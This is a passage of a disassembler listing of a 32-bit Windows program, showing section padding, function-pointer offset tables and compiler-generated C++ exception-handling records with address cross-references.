db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
align 1000h
_294ADE7B ends
; Section 2. (virtual address 00037000)
; Virtual size : 00004000 ( 16384.)
; Section size in file : 00004000 ( 16384.)
; Offset to raw data for section: 00037000
; Flags C00000E0: Text Data Bss Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Uninitialized
; Segment permissions: Read/Write
_8C6BDE73 segment para public 'BSS' use32
assume cs:_8C6BDE73
;org 437000h
assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing
off_437000 dd offset sub_40170D ; DATA XREF: sub_403360+3FEo
off_437004 dd offset sub_430320 ; DATA XREF: sub_403890+2o
off_437008 dd offset off_401EA6 ; DATA XREF: sub_406850+2o sub_4068B0o
off_43700C dd offset sub_40205E ; DATA XREF: sub_406CE0+45o
off_437010 dd offset loc_401FE1 ; DATA XREF: sub_409640+4o
; sub_4096A0+Bo ...
off_437014 dd offset loc_401EC4 ; DATA XREF: sub_40A920+2o
; sub_40A970+1Co
dd offset sub_430320
align 10h
off_437020 dd offset loc_4019EC ; DATA XREF: sub_40AC10+68o
; sub_40ACD0+1Eo
flt_437024 dd 1.0 ; DATA XREF: _294ADE7B:0040B326r
off_437028 dd offset sub_401956 ; DATA XREF: sub_40E390+157o
; sub_4114E0+1Do
dd offset sub_401FA0
dd 0
off_437034 dd offset sub_4019D8 ; DATA XREF: sub_40E390+142o
; sub_4114E0+23o
off_437038 dd offset loc_40113B ; DATA XREF: sub_4116F0+36o
; sub_4117A0+1Do
dd offset loc_401E88
dd 0
off_437044 dd offset sub_401465 ; DATA XREF: sub_411EB0+6Do
; sub_411FB0+1Fo
dd offset sub_401BD6
align 10h
off_437050 dd offset loc_40144C ; DATA XREF: sub_4164D0+68o
off_437054 dd offset sub_40105F ; DATA XREF: sub_416570+8Bo
off_437058 dd offset sub_40133E ; DATA XREF: sub_416640+84o
off_43705C dd offset sub_4018E8 ; DATA XREF: sub_416710+8o
; sub_417100+6o
dd offset sub_401F32
align 8
off_437068 dd offset loc_401A78 ; DATA XREF: sub_416740+7Bo
off_43706C dd offset sub_401E6A ; DATA XREF: sub_416800+8o
off_437070 dd offset loc_40100A ; DATA XREF: sub_416830+10o
off_437074 dd offset sub_4010A0 ; DATA XREF: sub_416860+4Bo
off_437078 dd offset sub_401596 ; DATA XREF: sub_4168E0+6Bo
off_43707C dd offset loc_401843 ; DATA XREF: sub_417160o sub_41E1A0+8o
dd offset sub_401BBD
align 8
off_437088 dd offset sub_401104 ; DATA XREF: sub_4171B0o
; sub_417770+36o
align 10h
dbl_437090 dq -3.0517578125e-5 ; DATA XREF: sub_417F90+22r
dd 0
off_43709C dd offset sub_401A14 ; DATA XREF: sub_4186E0+Bo
; sub_4187E0+6o
off_4370A0 dd offset sub_401D39 ; DATA XREF: sub_419680+Do sub_4196E0o
off_4370A4 dd offset sub_4013A7 ; DATA XREF: _294ADE7B:00419A42o
; _294ADE7B:00419B2Do
dd offset sub_4015F0
align 10h
off_4370B0 dd offset loc_40190B ; DATA XREF: sub_41BD40+77o
; sub_41FE70+1Do
dd offset sub_401B63
dd 0
off_4370BC dd offset sub_4011D6 ; DATA XREF: sub_4267F0+32o
dd offset sub_401983
dd offset sub_40195B
dd 0
off_4370CC dd offset loc_401640 ; DATA XREF: sub_426BB0+6Ao
; sub_426C50+1Do
dd offset sub_401983
dd offset sub_430320
dd 0
off_4370DC dd offset loc_4019CE ; DATA XREF: sub_426D40+32o
dd offset sub_401983
dd offset sub_40131B
dd 0
off_4370EC dd offset sub_401762 ; DATA XREF: _294ADE7B:00427282o
dd offset sub_401983
dd offset sub_401D5C
dd 0
dd offset dword_437268
off_437100 dd offset loc_430361 ; DATA XREF: _294ADE7B:00430358o
; _5AD6BD6B:off_43B900o ...
align 8
dd 0FFFFFFFFh, 4306F6h, 43070Ah, 49h dup(0)
off_437238 dd offset off_43FB90 ; DATA XREF: _8C6BDE73:00437250o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_437238
dd 0
db 0 ; DATA XREF: _8C6BDE73:00437278o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 437250h
dword_437268 dd 3 dup(0) ; DATA XREF: _8C6BDE73:004370FCo
dd offset off_43FB90
dd offset unk_437258
dd 45h dup(0)
dword_437390 dd 19930520h, 5, 4373B0h, 5 dup(0) ; DATA XREF: _294ADE7B:004316E6o
dd 0FFFFFFFFh, 4316CCh, 0
dd offset loc_4316A0
dd 1, 4316ABh, 2, 4316B6h, 3, 4316C1h, 2 dup(0)
dword_4373E0 dd 19930520h, 3Dh, 437400h, 5 dup(0) ; DATA XREF: _294ADE7B:00431A60o
dd 0FFFFFFFFh, 431710h, 0
dd offset loc_43171B
dd 1, 431726h, 2, 431734h, 3, 431742h, 4, 431750h, 5, 43175Eh
dd 6, 43176Ch, 7, 43177Ah, 8, 431788h, 9, 431796h, 0Ah
dd 4317A4h, 0Bh, 4317B2h, 0Ch, 4317C0h, 0Dh, 4317CEh, 0Eh
dd 4317DCh, 0Fh, 4317EAh, 10h, 4317F8h, 11h, 431806h, 12h
dd 431814h, 13h, 431822h, 14h, 431830h, 15h, 43183Eh, 16h
dd 43184Ch, 17h, 43185Ah, 18h, 431868h, 19h, 431876h, 1Ah
dd 431884h, 1Bh, 431892h, 1Ch, 4318A0h, 1Dh, 4318AEh, 1Eh
dd 4318BCh, 1Fh, 4318CAh, 20h, 4318D8h, 21h, 4318E6h, 22h
dd 4318F4h, 23h, 431902h, 24h, 431910h, 25h, 43191Eh, 26h
dd 43192Ch, 27h, 43193Ah, 28h, 431948h, 29h, 431956h, 2Ah
dd 431964h, 2Bh, 431972h, 2Ch, 431980h, 2Dh, 43198Eh, 2Eh
dd 43199Ch, 2Fh, 4319AAh, 30h, 4319B8h, 31h, 4319C6h, 32h
dd 4319D4h, 33h, 4319E2h, 34h, 4319F0h, 35h, 4319FEh, 36h
dd 431A0Ch, 37h, 431A1Ah, 38h, 431A28h, 39h, 431A36h, 3Ah
dd 431A44h, 3Bh, 431A52h, 0Eh dup(0)
dword_437620 dd 19930520h, 2, 437640h, 5 dup(0) ; DATA XREF: _294ADE7B:00431B53o
dd 0FFFFFFFFh, 431B40h, 0
dd offset loc_431B48
dd 2 dup(0)
dword_437658 dd 19930520h, 2, 437678h, 5 dup(0) ; DATA XREF: _294ADE7B:00431B83o
dd 0FFFFFFFFh, 431B70h, 0
dd offset loc_431B78
align 10h
dword_437690 dd 19930520h, 1, 4376B0h, 5 dup(0) ; DATA XREF: _294ADE7B:00431BA8o
dd 0FFFFFFFFh, 431BA0h, 2 dup(0)
dword_4376C0 dd 19930520h, 7, 4376E0h, 5 dup(0) ; DATA XREF: _294ADE7B:00431C19o
dd 0FFFFFFFFh, 431BC0h, 0
dd offset loc_431BC8
dd 1, 431BD3h, 2, 431BE1h, 3, 431BEFh, 4, 431BFDh, 5, 431C0Bh
dd 2 dup(0)
dword_437720 dd 19930520h, 7, 437740h, 5 dup(0) ; DATA XREF: _294ADE7B:00431C99o
dd 0FFFFFFFFh, 431C40h, 0
dd offset loc_431C48
dd 1, 431C53h, 2, 431C61h, 3, 431C6Fh, 4, 431C7Dh, 5, 431C8Bh
dd 2 dup(0)
dword_437780 dd 19930520h, 11h, 4377A0h, 5 dup(0) ; DATA XREF: _294ADE7B:00431D48o
dd 0FFFFFFFFh, 431CC0h, 0FFFFFFFFh, 431CC8h, 0FFFFFFFFh
dd 431CD0h, 0FFFFFFFFh, 431CD8h, 0FFFFFFFFh, 431CE0h, 0FFFFFFFFh
dd 431CE8h, 0FFFFFFFFh, 431CF0h, 0FFFFFFFFh, 431CF8h, 0FFFFFFFFh
dd 431D00h, 0FFFFFFFFh, 431D08h, 0FFFFFFFFh, 431D10h, 0FFFFFFFFh
dd 431D18h, 0FFFFFFFFh, 431D20h, 0FFFFFFFFh, 431D28h, 0FFFFFFFFh
dd 431D30h, 0Eh, 431D38h, 0Eh, 431D40h, 4 dup(0)
dword_437838 dd 19930520h, 0Bh, 437858h, 5 dup(0) ; DATA XREF: _294ADE7B:00431DDBo
dd 0FFFFFFFFh, 431D80h, 0
dd offset loc_431D88
dd 0FFFFFFFFh, 431D90h, 2, 431D98h, 0FFFFFFFFh, 431DA0h
dd 0FFFFFFFFh, 431DA8h, 0FFFFFFFFh, 431DB0h, 0FFFFFFFFh
dd 431DB8h, 7, 431DC3h, 7, 431DCBh, 9, 431DD3h, 4 dup(0)
dword_4378C0 dd 19930520h, 31h, 4378E0h, 5 dup(0) ; DATA XREF: _294ADE7B:0043201Bo
dd 0FFFFFFFFh, 431E00h, 0
dd offset loc_431E0B
dd 0
dd offset loc_431E16
dd 0FFFFFFFFh, 431E21h, 0FFFFFFFFh, 431E2Ch, 4, 431E37h
dd 0FFFFFFFFh, 431E42h, 6, 431E4Dh, 6, 431E58h, 8, 431E63h
dd 0FFFFFFFFh, 431E6Eh, 0Ah, 431E79h, 0Ah, 431E84h, 0Ah
dd 431E8Fh, 0Ah, 431E9Ah, 0Ah, 431EA5h, 0Ah, 431EB0h, 0FFFFFFFFh
dd 431EBBh, 11h, 431EC6h, 11h, 431ED1h, 0FFFFFFFFh, 431EDCh
dd 0FFFFFFFFh, 431EE7h, 15h, 431EF2h, 0FFFFFFFFh, 431EFDh
dd 0FFFFFFFFh, 431F08h, 18h, 431F13h, 0FFFFFFFFh, 431F1Eh
dd 0FFFFFFFFh, 431F29h, 0FFFFFFFFh, 431F34h, 0FFFFFFFFh
dd 431F3Fh, 1Dh, 431F4Ah, 1Dh, 431F55h, 1Dh, 431F60h, 1Dh
dd 431F6Bh, 1Dh, 431F76h, 22h, 431F81h, 22h, 431F8Ch, 22h
dd 431F97h, 22h, 431FA2h, 22h, 431FADh, 22h, 431FB8h, 22h
dd 431FC3h, 22h, 431FCEh, 22h, 431FD9h, 22h, 431FE4h, 22h
dd 431FEFh, 22h, 431FFAh, 22h, 432005h, 22h, 432010h, 0Ch dup(0)
dword_437A98 dd 19930520h, 2, 437AB8h, 5 dup(0) ; DATA XREF: _294ADE7B:004320CFo
dd 0FFFFFFFFh, 4320B8h, 0
dd offset loc_4320B0
align 10h
dword_437AD0 dd 19930520h, 2, 437AF0h, 5 dup(0) ; DATA XREF: _294ADE7B:00432115o
dd 0FFFFFFFFh, 4320FBh, 0
dd offset loc_4320F0
dd 2 dup(0)
dword_437B08 dd 19930520h, 1, 437B28h, 5 dup(0) ; DATA XREF: _294ADE7B:00432138o
dd 0FFFFFFFFh, 432130h, 2 dup(0)
dword_437B38 dd 19930520h, 3, 437B58h, 5 dup(0) ; DATA XREF: _294ADE7B:00432171o
dd 0FFFFFFFFh, 432150h, 0
dd offset loc_43215B
dd 0
dd offset loc_432166
dd 2 dup(0)
dword_437B78 dd 19930520h, 1, 437B98h, 5 dup(0) ; DATA XREF: _294ADE7B:0043219Bo
dd 0FFFFFFFFh, 432190h, 2 dup(0)
dword_437BA8 dd 19930520h, 1, 437BC8h, 5 dup(0) ; DATA XREF: _294ADE7B:004321B8o
dd 0FFFFFFFFh, 4321B0h, 2 dup(0)
dword_437BD8 dd 19930520h, 2, 437BF8h, 5 dup(0) ; DATA XREF: _294ADE7B:004321E0o
dd 0FFFFFFFFh, 4321D0h, 0
dd offset loc_4321D8
align 10h
dword_437C10 dd 19930520h, 54h, 437C30h, 5 dup(0) ; DATA XREF: _294ADE7B:004324E6o
dd 0FFFFFFFFh, 4321F0h, 0
dd offset loc_4321FB
dd 1, 432206h, 2, 432211h, 3, 43221Ch, 4, 432227h, 5, 432232h
dd 6, 43223Dh, 7, 432248h, 8, 432253h, 9, 43225Bh, 0Ah
dd 432263h, 0Bh, 43226Bh, 0Ch, 432276h, 0Dh, 43227Eh, 0Eh
dd 432289h, 0Fh, 432294h, 10h, 43229Fh, 11h, 4322AAh, 12h
dd 4322B5h, 13h, 4322C0h, 14h, 4322CBh, 15h, 4322D6h, 16h
dd 4322E1h, 17h, 4322ECh, 18h, 4322F7h, 19h, 432302h, 1Ah
dd 43230Dh, 1Bh, 432318h, 1Ch, 432323h, 1Dh, 43232Eh, 1Eh
dd 432339h, 1Eh, 432344h, 1Eh, 43234Fh, 1Eh, 43235Ah, 1Eh
dd 432365h, 1Eh, 432370h, 1Eh, 43237Bh, 25h, 432386h, 1Eh
dd 432386h, 1Eh, 432391h, 28h, 43239Ch, 1Eh, 43239Ch, 1Eh
dd 4323A7h, 2Bh, 4323B2h, 1Eh, 4323B2h, 1Eh, 4323BDh, 2Eh
dd 4323C8h, 1Eh, 4323C8h, 1Eh, 4323D3h, 31h, 4323DEh, 1Eh
dd 4323DEh, 1Eh, 4323E9h, 34h, 4323F4h, 1Eh, 4323F4h, 1Eh
dd 4323FFh, 37h, 43240Ah, 1Eh, 43240Ah, 1Eh, 432415h, 3Ah
dd 432420h, 1Eh, 432420h, 1Eh, 43242Bh, 3Dh, 432436h, 1Eh
dd 432436h, 1Eh, 432441h, 40h, 43244Ch, 1Eh, 43244Ch, 1Eh
dd 432457h, 43h, 432462h, 1Eh, 432462h, 1Eh, 43246Dh, 46h
dd 432478h, 1Eh, 432478h, 1Eh, 432483h, 49h, 43248Eh, 1Eh
dd 43248Eh, 1Eh, 432499h, 4Ch, 4324A4h, 1Eh, 4324A4h, 1Eh
dd 4324AFh, 4Fh, 4324BAh, 50h, 4324C5h, 51h, 4324D0h, 52h
dd 4324DBh, 13h dup(0)
dd offset off_43B900
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 430350h, 2 dup(0)
dd offset off_43B920
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 430774h, 2 dup(0)
dd offset off_43B948
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 43077Ah, 0
dword_437F78 dd 3, 437F58h, 437F38h, 437F18h, 3 dup(0) ; DATA XREF: _8C6BDE73:00437F9Co
dd offset loc_430780
dd 0
dd offset dword_437F78
dd 2 dup(0)
dword_437FA8 dd 19930520h, 1, 437FC8h, 5 dup(0) ; DATA XREF: _294ADE7B:004325B9o
dd 0FFFFFFFFh, 4325B0h, 2 dup(0)
dword_437FD8 dd 19930520h, 1, 437FF8h, 5 dup(0) ; DATA XREF: _294ADE7B:004325D8o
dd 0FFFFFFFFh, 4325D0h, 2 dup(0)
dword_438008 dd 19930520h, 3, 438028h, 5 dup(0) ; DATA XREF: _294ADE7B:00432617o
dd 0FFFFFFFFh, 4325F0h, 0
dd offset loc_432607
dd 1, 43260Fh, 2 dup(0)
dword_438048 dd 19930520h, 1, 438068h, 5 dup(0) ; DATA XREF: _294ADE7B:00432639o
dd 0FFFFFFFFh, 432630h, 2 dup(0)
dword_438078 dd 19930520h, 2, 438098h, 1, 4380A8h, 3 dup(0)
; DATA XREF: _294ADE7B:00432650o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 4380C0h, 4 dup(0)
dd offset sub_40A9B2
dd 2 dup(0)
dword_4380D8 dd 19930520h, 2, 4380F8h, 1, 438108h, 3 dup(0)
; DATA XREF: _294ADE7B:00432660o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 438120h, 4 dup(0)
dd offset loc_40AB31
dd 2 dup(0)
dword_438138 dd 19930520h, 4, 438158h, 5 dup(0) ; DATA XREF: _294ADE7B:0043269Fo
dd 0FFFFFFFFh, 432670h, 0
dd offset loc_43267B
dd 1, 432686h, 2, 432691h, 2 dup(0)
dword_438180 dd 19930520h, 4, 4381A0h, 5 dup(0) ; DATA XREF: _294ADE7B:004326EFo
dd 0FFFFFFFFh, 4326C0h, 0
dd offset loc_4326CB
dd 1, 4326D6h, 2, 4326E1h, 2 dup(0)
dword_4381C8 dd 19930520h, 3, 4381E8h, 5 dup(0) ; DATA XREF: _294ADE7B:00432728o
dd 0FFFFFFFFh, 432710h, 0FFFFFFFFh, 432718h, 0FFFFFFFFh
dd 432720h, 2 dup(0)
dword_438208 dd 19930520h, 3, 438228h, 5 dup(0) ; DATA XREF: _294ADE7B:00432758o
dd 0FFFFFFFFh, 432740h, 0
dd offset loc_432748
dd 1, 432750h, 2 dup(0)
dword_438248 dd 19930520h, 1, 438268h, 5 dup(0) ; DATA XREF: _294ADE7B:00432778o
dd 0FFFFFFFFh, 432770h, 2 dup(0)
dword_438278 dd 19930520h, 4, 438298h, 5 dup(0) ; DATA XREF: _294ADE7B:004327B0o
dd 0FFFFFFFFh, 432790h, 0FFFFFFFFh, 432798h, 0FFFFFFFFh
dd 4327A0h, 2, 4327A8h, 2 dup(0)
dword_4382C0 dd 19930520h, 4, 4382E0h, 5 dup(0) ; DATA XREF: _294ADE7B:004327F0o
dd 0FFFFFFFFh, 4327D0h, 0FFFFFFFFh, 4327D8h, 0FFFFFFFFh
dd 4327E0h, 0FFFFFFFFh, 4327E8h, 2 dup(0)
dword_438308 dd 19930520h, 8, 438328h, 5 dup(0) ; DATA XREF: _294ADE7B:00432868o
dd 0FFFFFFFFh, 432810h, 0
dd offset loc_43281B
dd 1, 432826h, 1, 432831h, 1, 43283Ch, 1, 432847h, 1, 432852h
dd 1, 43285Dh, 4 dup(0)
dword_438378 dd 19930520h, 0Dh, 438398h, 5 dup(0) ; DATA XREF: _294ADE7B:0043291Fo
dd 0FFFFFFFFh, 432890h, 0FFFFFFFFh, 43289Bh, 1, 4328A6h
dd 2, 4328B1h, 3, 4328BCh, 4, 4328C7h, 5, 4328D2h, 6, 4328DDh
dd 7, 4328E8h, 8, 4328F3h, 9, 4328FEh, 0Ah, 432909h, 0Bh
dd 432914h, 4 dup(0)
dword_438410 dd 19930520h, 6, 438430h, 5 dup(0) ; DATA XREF: _294ADE7B:00432980o
dd 0FFFFFFFFh, 432950h, 0
dd offset loc_432958
dd 1, 432960h, 2, 432968h, 2, 432970h, 2, 432978h, 2 dup(0)
dword_438468 dd 19930520h, 6, 438488h, 5 dup(0) ; DATA XREF: _294ADE7B:004329D0o
dd 0FFFFFFFFh, 4329A0h, 0
dd offset loc_4329A8
dd 1, 4329B0h, 2, 4329B8h, 2, 4329C0h, 2, 4329C8h, 2 dup(0)
dword_4384C0 dd 19930520h, 3, 4384E0h, 5 dup(0) ; DATA XREF: _294ADE7B:00432A08o
dd 0FFFFFFFFh, 4329F0h, 0
dd offset loc_4329F8
dd 1, 432A00h, 2 dup(0)
dword_438500 dd 19930520h, 1, 438520h, 5 dup(0) ; DATA XREF: _294ADE7B:00432A28o
dd 0FFFFFFFFh, 432A20h, 2 dup(0)
dword_438530 dd 19930520h, 7, 438550h, 5 dup(0) ; DATA XREF: _294ADE7B:00432A78o
dd 0FFFFFFFFh, 432A40h, 0
dd offset loc_432A48
dd 0FFFFFFFFh, 432A50h, 0FFFFFFFFh, 432A58h, 3, 432A60h
dd 4, 432A68h, 0FFFFFFFFh, 432A70h, 2 dup(0)
dword_438590 dd 19930520h, 24h, 4385B0h, 5 dup(0) ; DATA XREF: _294ADE7B:00432C1Do
dd 0FFFFFFFFh, 432AA0h, 0
dd offset loc_432AA8
dd 1, 432AB3h, 2, 432ABEh, 3, 432AC9h, 4, 432AD7h, 5, 432AE5h
dd 6, 432AF3h, 7, 432B01h, 8, 432B0Fh, 9, 432B1Dh, 0Ah
dd 432B2Bh, 0Bh, 432B39h, 0Ch, 432B47h, 0Dh, 432B55h, 0Eh
dd 432B63h, 0Fh, 432B71h, 10h, 432B7Fh, 11h, 432B8Dh, 11h
dd 432B95h, 11h, 432B9Dh, 11h, 432BA5h, 11h, 432BADh, 11h
dd 432BB5h, 11h, 432BBDh, 11h, 432BC5h, 11h, 432BCDh, 11h
dd 432BD5h, 11h, 432BDDh, 11h, 432BE5h, 11h, 432BEDh, 11h
dd 432BF5h, 11h, 432BFDh, 11h, 432C05h, 11h, 432C0Dh, 11h
dd 432C15h, 8 dup(0)
dword_4386F0 dd 19930520h, 38h, 438710h, 5 dup(0) ; DATA XREF: _294ADE7B:00432ED3o
dd 0FFFFFFFFh, 432C90h, 0
dd offset loc_432C9B
dd 1, 432CA6h, 0
dd offset loc_432CB1
dd 0
